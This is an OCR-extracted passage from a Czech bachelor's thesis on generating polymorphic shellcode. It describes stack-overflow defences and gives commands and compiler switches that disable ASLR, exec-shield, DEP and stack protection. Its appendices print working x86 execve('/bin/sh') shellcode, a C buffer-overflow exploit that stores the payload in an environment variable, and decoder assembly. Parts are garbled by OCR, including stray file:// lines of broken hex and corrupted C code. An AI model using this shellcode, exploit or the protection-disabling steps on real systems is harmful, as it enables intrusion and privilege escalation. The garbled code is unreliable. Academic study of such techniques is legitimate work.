parametr zvolen spravné, nemuze dojit pfi kopirovani dvou poli k preteCeni. Mélo by byt pravidlem,
aby programator kontroloval v§echny mozné vstupy, zda jsou bezpecné.

5.1.2  Restriktivni opatieni bufferu

Tato preventivni technika se ¢astecné poji s predchozi podkapitolou. Shell-kod, ktery chceme
vyuzit pro exploitaci, obsahuje vétSinou §iroké spektrum instrukci. Pokud pro dané pole, do n¢hoz jej
chceme nakopirovat, mame zavedeno omezeni, co vSechno muze obsahovat (napiiklad pouze
tisknutelné ASCII znaky), nas shell-kod nebude pravdépodobné fungovat.

Bohuzel ani tato technika neni stoprocentné ucinna. Pokud vyuZijeme polymorfni techniky
tvorby tisknutelné¢ho ASCII shell-kodu, omezeni bufferu na tisknutelné znaky nam nijak nepomiiZe.

5.1.3  Nespustitelny zasobnik

Pii klasickém zptsobu exploitace se snazime pomoci preteCeni na zasobniku prepsat
navratovou adresu ramce tak, aby ukazovala na nami vlozeny shell-kéd, ktery se nasledné provede.
Pokud se ale program, na ktery je veden titok, nachazi na operacnim systému, ktery ma aktivovano
omezeni spousténi dat na zasobniku, na§ zamér bude zmarfen. Systém sam rozpozna, ze se maji
provést instrukce mimo spustitelnou ¢ast programové pameéti, a program bude ukoncéen chybou
segmentace.

Toto protiopatfeni je hardwarové implementovano pomoci NX bitu, coz je vlastnost
procesoru umoziujici oznacit urcité ¢asti paméti jako nespustitelné. Nutno vSak podotknout, Ze tuto
techniku musi podporovat operacni systém. Linuxové distribuce obsahuji podporu této technologie od
jadra 2.6.8.

Mimo tuto hardwarovou implementaci existuji jest¢ dalSi, softwarové. Na linuxovych
distribucich se nachazi bezpecnostni zaplata exec-shield, ktera oznacCuje datovou pamét jako
nespustitelnou a pamét’ programu jako nezapisovatelnou. Dalsi bezpecnostni zaplatou je PaX, vydana
v roce 2000. Stejné jako exec-shield oznacuje datovou pamét jako nespustitelnou a pamét’ programu
jako nezapisovatelnou, navic ale jesté nahodné reorganizuje programovou pamét (¢imz implementuje
obdobu dalsi preventivni obranu, kterou popiseme v Kapitole 5.1.4). Tuto techniku miZeme vypnout,
za predpokladu, ze mame prava superuzivatele. AvSak v takovém pripadé by zneuziti zranitelnosti
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programu jiz nejspi§ nemélo smysl. Pro testovaci ucely tento fakt ale mizeme zanedbat. Prikazy pro
vypnuti jsou nasledujici:

echo 0 > /proc/sys/kernel/exec—-shield
sysctl -w kernel.exec-shield=0

Obdobou vyse zminénych protiopatfeni na systémech Windows je technologie Prevence
spousténi dat'®, ktera se na operaénich systémech Windows poprvé objevila ve Windows XP SP2.
Zabranuje provadéni instrukci v regionech, kde jsou predpokladana data, tj. zejména na zasobniku.
Softwarova implementace v tomto pripadé nesouvisi s nespustitelnosti zasobniku, ale zabranuje
piepisovani strukturovancho osetieni vyjimek'®. Hardwarova implementace je opét zaloZena na NX
bitu procesoru. Na operacnim systému Windows 7 je tato technika standardné zapnuta pouze pro
systémové procesy. Ve vyvojovém prostiedi Microsoft Visual Studio mizeme tuto techniku vypnout
nastavenim piepinaée /NXCOMPACT:NO:

Properties->Configuration properties->Linker->

->Advanced->Data Execution Prevention (DEP)

5.14 Nahodné rozloZzeni paméti

Modemi operaéni systémy obsahuji protiopatieni ASLR™, které zavadi proménlivé rozlozeni
paméti. Diky nému je nalezeni odpovidajici adresy, kterou potifebujeme prepsat navratovou adresu
funkce, vysoce obtizné.

Implementace tohoto opatfeni na operacnich systémech Windows a Linux se mimé lisi. U
druhého ze jmenovanych systému se rozlozeni méni pii kazdém spusténi programu. Na Windows se
oproti tomu v soucasné dob¢ rozlozeni méni pouze pii restartu systému.

V pfipad€, Ze je na Linuxu toto opatfeni zapnuto, vyuziva se u vSech kompilovanych
programu. Pokud vSak mame v danou chvili prava superuzivatele (root), miiZeme tuto techniku
vypinat 1 zapinat. Oba nasledujici prikazy, za predpokladu, Ze je spoustime s pravy superuzivatele
(roota), nahodné rozloZeni paméti vypinaji:

echo 0 > /proc/sys/kernel/randomize va space
sysctl -w kernel.randomize va space=0

P1i pouziti druhého prikazu zlistane nahodné rozloZeni paméti vypnuté az do dalsiho restartu
systému. Pokud u zminénych pfikazii nahradime O za 1, toto opatfeni zapneme. I kdyZz bude toto
opatfeni aktivni, existuji zpusoby, jak je obejit, zejména pomoci vyuziti ¢asti adresového prostoru,
ktery se neméni, tj. segmentu BSS, data a hromada.

Jak je to ale na Windows? V piipad¢ aktivovan¢ho nahodného rozlozZeni paméti je nahodny
témér cely uzivatelsky adresovy prostor — jak PE soubory, hromada, zasobniky pro jednotliva vlakna,
tak i dynamicky linkované knihovny, PEB (Process Environment Block) i TEB (Thread Environment

8 anglicky DEP — Data Execution Prevention
1 anglicky SEH — Stuctured Exeption Handler
*% zkratka z anglického Address Space Layout Randomization
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Block). Pokud program piekladame pomoci vyvojového prostiedi Microsoft Visual Studio, mizeme
toto nastaveni vypnout v nastaveni projektu nastavenim prepinaée /DYNAMICBASE:NO:

Properties->Configuration properties—->
->Linker->Advanced->Randomized Base Address

Tato ochrana je automaticky pfitomna u vSech systémovych programu. Pii piekladu
programu napfiklad pomoci vyvojového prostiedi Code::Blocks za pouziti prekladace GCC se toto
opatfeni viubec neaktivuje.

5.1.5 Kontrola preteceni bufferu

Technologii, kter¢ kontroluji pfeteceni bufferu na zasobniku, existuje vice. Vseobecné
bychom mohli fici, ze kontroluji, jak jiz nazev této podkapitoly napovida, zda nedochazi k preteceni.

Nejdrive se podivame, jaké technologie tohoto typu se nachazeji na linuxovych opera¢nich
systémech. Prvni z nich je nastroj StackShield, ktery kopiruje navratovou adresu funkce na bezpecné
umisténi. Ve chvili, kdy se provadi epilog funkce, zkontroluje, zda navratova adresa funkce na
zasobniku a uloZena adresa jsou shodné. V pripad€ neshody je dana funkce okamzité ukoncena. Dalsi
technologii je StackGuard, ktera je obsazena v prekladac¢i GCC od verze 2.7.2.2. Od verze 3.x vSak
jiz standardn¢ pfitomna neni a programator musi pro jeji pouziti doinstalovat poZzadované rozsireni.
V ¢em spociva ochrana poskytovana touto technologii? StackGuard pridava kontrolni proménnou
(tzv. ,kanarka™) pfed navratovou adresu funkce. Béhem provadéni epilogu se zkontroluje, zda tato
proménna nebyla prepsana, a v pfipadé zmény se program okamzité ukonci. Posledni podobnou
technologii je Stack Smashing Protector (ProPolice), ktera je pfitomna jako rozsifeni GCC 3.x a od
verze 4.X je jiz pevnou soucasti prekladace. Vychazi z vy§e zminéné technologie StackGuard, kterou
roz§ifuje 0 moznost chranit kontrolnimi proménnymi nejen navratovou adresu funkce, ale i vSechny
registry uloZené v prubéhu prologu funkce. Zaroven pireorganizuje proménné uvnitf funkce tim
zpusobem, ze ukazatele a pole umisti na vyS§i pamétové pozice. Poslednim mechanismem je
kopirovani argumenti funkce k lokalnim proménnym. Tuto ochranu proti pfeteceni je mozno zapnout
prekladem s prepinaem —fstack-protector. Na systémech, které¢ tohoto prepinace vyuzivaji
standardn¢ vzdy, jej 1ze vypnout piekladem s prepina¢em —fno-stack-protector.

Na opera¢nim systému Windows se obdoba technologie ProPolice nazyva Buffer Security
Check. Je pritomna v Microsoft Visual Studiu od verze 2003 prostfednictvim prepinace /GS, jenz je
standardné zapnuty. Podobné jako posledni zminéna obrana na Linuxu poskytuje dva mechanismy,
kterymi jsou vkladani kontrolnich proménnych a reorganizace lokalnich proménnych. Toto
protiopatfeni muzeme vypnout v nastaveni projektu nastavenim prepinace /GS-:

Properties->Configuration properties—->
->C/C++->Code generation->Buffer security Check
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5.2 AKktivni obrana

5.2.1 Detekce vzoru

Tato metoda detekce je zakladnim kamenem obrany proti shell-kodiim. Dokaze rozeznat
kteroukoli z ¢asti klasického exploitu — opakujici se posloupnost NOP instrukci (0x90) ¢i navratovych
adres jsou vysoce podezielé a detektor je ihned objevi. Stejné tak i zpravidla objevi vlastni operacéni
kod. Vsechny znamé posloupnosti ma uloZzeny v databazi, ktera je stale rozSifovana v souvislosti s
objevovanim novych nebezpeénych vzori. Z toho plyne, ze ma-li byt detektor schopen rozpoznat i
nové hrozby, musi byt Casto aktualizovan.

Pokud ale za¢neme pouzivat generatory polymorfnich shell-kodu, tento druh obrany se stava
stale nevyhodnéj§im. Vzhledem k ménéni podoby shell-kodu pii kazdém generovani uspéSnost
detekce rapidné klesa. Jedinou Sanci je nalezeni spoleénych vzoru, které jsou zpusobeny
nedokonalosti generatoru. Zpravidla témito vzory byvaji Casti dekodéru, které jsou nedokonale
zamaskovany. V pripad¢ dlouhé¢ho opakovani navratové adresy je Sance na detekcei taktéZ zvysena.
Nizssi bity adresy sice mohou byt zménény, horni ale stale zastavaji stejné.

P1i dynamickém vytvareni pravidel pro kazdou detekovanou podobu shell-kodu se pamétova
i Casova slozitost rychle zvySuji. Zaroven se zvySuje 1 mnozstvi faleSné pozitivnich nalezi.

Dopad rozvoje polymorfnich metod na detekei signatur je vice popsan v [9].

5.2.2 Detekce anomalii

Oproti piedchozi technice nezkouma tato metoda vzory, ale chovani na siti. Nejprve
potfebuje pro svoji spravnou funkci shromazdit statistické udaje o sitovém provozu, ktery je
povazovan za normalni. S t€mito daty jsou posléze porovnavany zkoumané udalosti. Z toho vyplyva,
7z¢ udaje o bézném provozu musime udrzet stale aktudlni, jinak je vysoka pravdépodobnost
generovani faleSn€ pozitivnich vysledka. Za ucelem co nejrychlejsiho zpracovani dat pro statistickou
analyzu sitového provozu se mohou byt vyuzity neuronove sitg.

Prikladem, jak takovato detekce funguje, muze byt situace, kdy jsme pfi sbéru statistickych
udaju zjistili, ze prumérny pocet spojeni na portu 12 345 je 1 000 za den. Pokud ale najednou tento
pocet spojeni vzroste na 100 000, bude vygenerovano upozornéni o vyskytu anomalie.

5.2.3 Emulace

Pii zjisStovani, zda zkoumany objekt (program) je Skodlivy, vyuZzivaji antivirové systémy
emulaci vykonavani. Timto zpisobem mohou bezpeéné otestovat soubor, aniz by se jeho pfipadné
nezadouci ucinky projevily v systému. Nevyhodou emulace je fakt, Ze nemuze probihat libovolné
dlouho z divodu vysoké zatéze systému.

Tento zpusob detekce je proti polymorfnim shell-kodim vysoce Géinny a v porovnani se
zminénymi pfedchozimi detekcemi vykonnéjsi.
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6 Zaveér

Pfi zneuzivani zranitelnosti programu pomoci polymorfnich shell-kodi se bezpecnostni
systémy zalozené zejména na detekci vzoru dostavaji do potizi. Obrovské mnozstvi variaci daného
shell-koédu zahlcuje databazi vzoru a prodluzuje Cas potiebny pro analyzu potencialné Skodlivého
kodu. Jedinou Sanci detekce vzori je nelezeni shodnych artefaktii, které jsou zplisobeny nedokonalou
implementaci polymorfnich metod. Dal§im zptisobem feSeni tohoto problému je vyvoj odliSnych
druhti detekce, zalozenych na jinych pfistupech.

Z pohledu dalsiho vyvoje pokrocilého generatoru polymorfnich shell-kodi se naskyta
mnozstvi dalSich tprav. Generator umoziuje ve falesném NOP sledu, diky pouziti dvoubajtovych
kombinaci, zastoupeni az 52 % celého spektra bajti. Umoziiuje tedy, na rozdil od generatora
pouzivajicich pouze jednobajtové instrukce, vyuzit dalSich 31 % spektra. I tato hodnota by se ale dala
jesté navysit pomoci zahmuti dalSich vicebajtovych kombinaci, coz je jeden ze sméru vylepSeni
generatoru. Dalsi upravou by mohlo byt zlepSeni polymorfnich vlastnosti dekodéru, aby vlastni
dekodovaci program nebyl vzdy stejny, ale aby existovalo né€kolik variant s ruiznymi pouzitymi
instrukcemi a pouzitymi registry. Dalsi upravou dekodéru je umisténi druhé dekodovaci posloupnosti
za vlastni operacni kod.

Podstatnym vylepsenim by byla i implementace tvorby tisknutelnych ASCII shell-kéda. Take
NOP sled by se dal upravit tak, aby vyuzival pouze tisknutelnych znakt. Poté by se nam nabizela
rovnéz 1 moznost pouziti slovniku béhem tvorby sledu, ¢imz bychom jej zamaskovali tak, aby
vypadal jako klasicky text.
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Priloha A — Zpristupnéni shellu v ASM

Kod v jazyce symbolickych instrukei, ktery zpfistuptiuje shell:

BITS 32
[SECTION .text]

global start

_start:
Jjmp short ender
starter:
pop ebx ; Ziskdme adresu retézce
XOor eax, eax ; Vynulujeme registr EAX
mov [ebx+7], al ; Na adresu [EBX+7] vloZime 0x00
mov [ebx+8], ebx ; VloZime adresu z EBX na misto AAAA
mov [ebx+12], eax ; Na adresu [EBX+12] vloZime 0x00000000
lea ecx, [ebx+8] ; Ziskdme adresu pole argv
lea edx, [ebx+12] ; Ziskdme adresu pole envp
mov al, 11 ; VloZime do EAX 11 (systémové wvolani)
int 0x80 ; vyvolame softwarové preruseni
ender:

call starter
db '/bin/shXAAAABBBB'

Reprezentace vyse uvedeného programu v textovém fetézci:

\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08
\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42
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file:///xeb/xl6/x5b/x31/xc0/x8
file://9/x4
file://3/x07/x8
file://9/x5b/x08/x8
file://9/x43/x0c/x8d/x4b/x08
file:///x8d/x5
file://3/x0c/xb0/x0b/xcd/x8
file://0/xe8/xe5/xff
file:///x62/x69/x6e/x2f
file:///x7
file://3/x68/x5
file://8/x41/x41/x41/x41/x4
file://2/x4
file://2/x42/x42

Priloha B — Kod exploitu v C

Priklad exploitu v jazyce C vyuzivajiciho proménnych prostfedi pro ulozeni shell-kodu.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define OFFSET 150
#define BUFFERLENGHT 300
#define NOP 0x90

char code[] =
"\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c”\
"\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xeb\xff\xff"”\
M\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42"\
"\x42\x42\x42";

unsigned long get sp(void)
{

asm ("mov %Sesp, %seax’);

int main(int argc, char ** argv)
{
unsigned int ret addr
char buffer [BUFFERLENGHT] ;
memset (buffer, 0x00, BUFFERLENGHT) ;

// Zjistime adresu, kterd by mela ukazovat do NOP sledu.
ret addr = get sp() - OFFSET;

// Naplnime buffer opakujici se navratovou adresou.
for(int i=0; i < BUFFERLENGHT; i+=4)
{

*((unsigned int*) (buffer + 1)) = ret addr;

// Do prvni poloviny bufferu nakopirujeme NOP sled.
memset (buffer, NOP, BUFFERLENGTH/2):

// VloZime za NOP sled operacd¢ni koéd.
memcpy (buffer + BUFFERLENGTH/2, code, sizeof(code)-1);

// VloZime na zaclatek bufferu EGG= a uloZime buffer jako
// proménnou prosttredi EGG

memcpy (buffer, "“EGG=", 4);

putenv (buffer) ;

system (”/bin/bash”);

return 0;
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file:///x8d/x4b/x0
file://8/x8d/x5
file://3/x0c/xb0/x0b/xcd/x8
file://0/xe8/xe5/xff
file:///x42/x42/x42

Priloha C — Kod dekodéru v ASM

Zdrojovy kod dekodéru pro operacni kod o maximalni délce 255 bajtd, ktery provede dekddovani

operacniho kodu na zasobniku:

BITS 32
[SECTION .text]

global start

_start:
Jjmp short ender

starter:
pop esi
XO0r ecx, ecx

mov cl, 0x00

decode:

inc esi
loop decode
Jjmp short cont

ender:
call starter

cont:

decode:

Ziskame adresu op. kdédu
Vynulujeme registr ecx
Za 0x00 dosadime délku op. kdédu

Zde se budou nachdzet wvlastni
dekdbébdovaci instrukce

Posuneme se na dals$i znak op. kédu
Snizime ecx o 1 a pokud se nerovna O
skoc¢ime na zacatek dekddovacich
instrukci

Reprezentace vyse uvedeného programu v textovém fetézci:

\xeb\x0a\x5e\x31\xcI9\xbl\x00\x46\xe2\xfd\xeb\x05\xe8\xfI\Xff\xff\xff
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file:///xeb/x0a/x5e/x31/xc9/xbl/x0
file://0/x4
file://6/xe2/xfd/xeb/x05/xe8/xf

Priloha D — Napovéda k programu

Nize se nachazi napovéda programu, kterou je mozno zobrazit spusSténim programu
S parametrem —help.

Bakalarska prace

Generator polymorfnich shell-kodu

Autor: Radovan Plocek, xploceOOstud.fit.vutbr.cz

Pomoci kombinace parametru lze nastavit vlastnosti vysledneho shell-
kodu.

Parametry:
-o Nastavi offset.
-bsize Nastavi celkovou velikost wvysledneho shell-kodu.

-n Nastavi uroven polymorfismu NOP sledu:

O: NOP sled nebude vytvoren.

1: NOP sled se bude skladat pouze z instrukci NOP.
2: NOP sled vytvoren z jednobajtovych instrukci.
3: NOP sled vytvoren z vicebajtovych kombinaci.

-nsize Nastavi delku NOP sledu.

-d Nastavi uroven polymorfismu dekoderu.

0: Operacni kod nebude vytvoren.

1: Operacni kod bez zakodovani.

2: Pouziti jednoducheho dekoderu.

3: Jsou pouzity nadbytecne instrukce pro zmenu dekoderu.

—-dsize Nastavi pocet dekodovacich instrukci.

-r Nastavi uroven polymorfismu posloupnosti navratovych adres.
O: Navratova adresa nebude vytvorena.
1: Nemenena navratova adresa.

2: Spodni bity adresy se meni podle delky NOP sledu.

—ao Nastavi presnou vzdalenost navratove adresy od zacatku

bufferu.
-p Nastavi uroven vyplne.
O: Vypln nebude vytvoren.

1: Pouziti vyplne.

-psize Nastavi delku vyplne.
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-output Nastavi soubor pro zapis vysledneho shell-kodu.
—-input Nastavi soubor se shell-kodem. Operacni kod v souboru
musi byt ve tvaru posloupnosti \xnn, kde nn je

hexadecimalni cislo.

-help Vytiskne tuto napovedu.
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Priloha E — Obsah DVD

Adresar Obsah
Jreadme.txt Obsah DVD
/bin Spustitelné verze programu.
J/bin/tests Ukazkové priklady
./doc Elektronicka verze této zpravy
Jinstall Instalacni soubory
Jsrc Zdrojov¢ soubory programu
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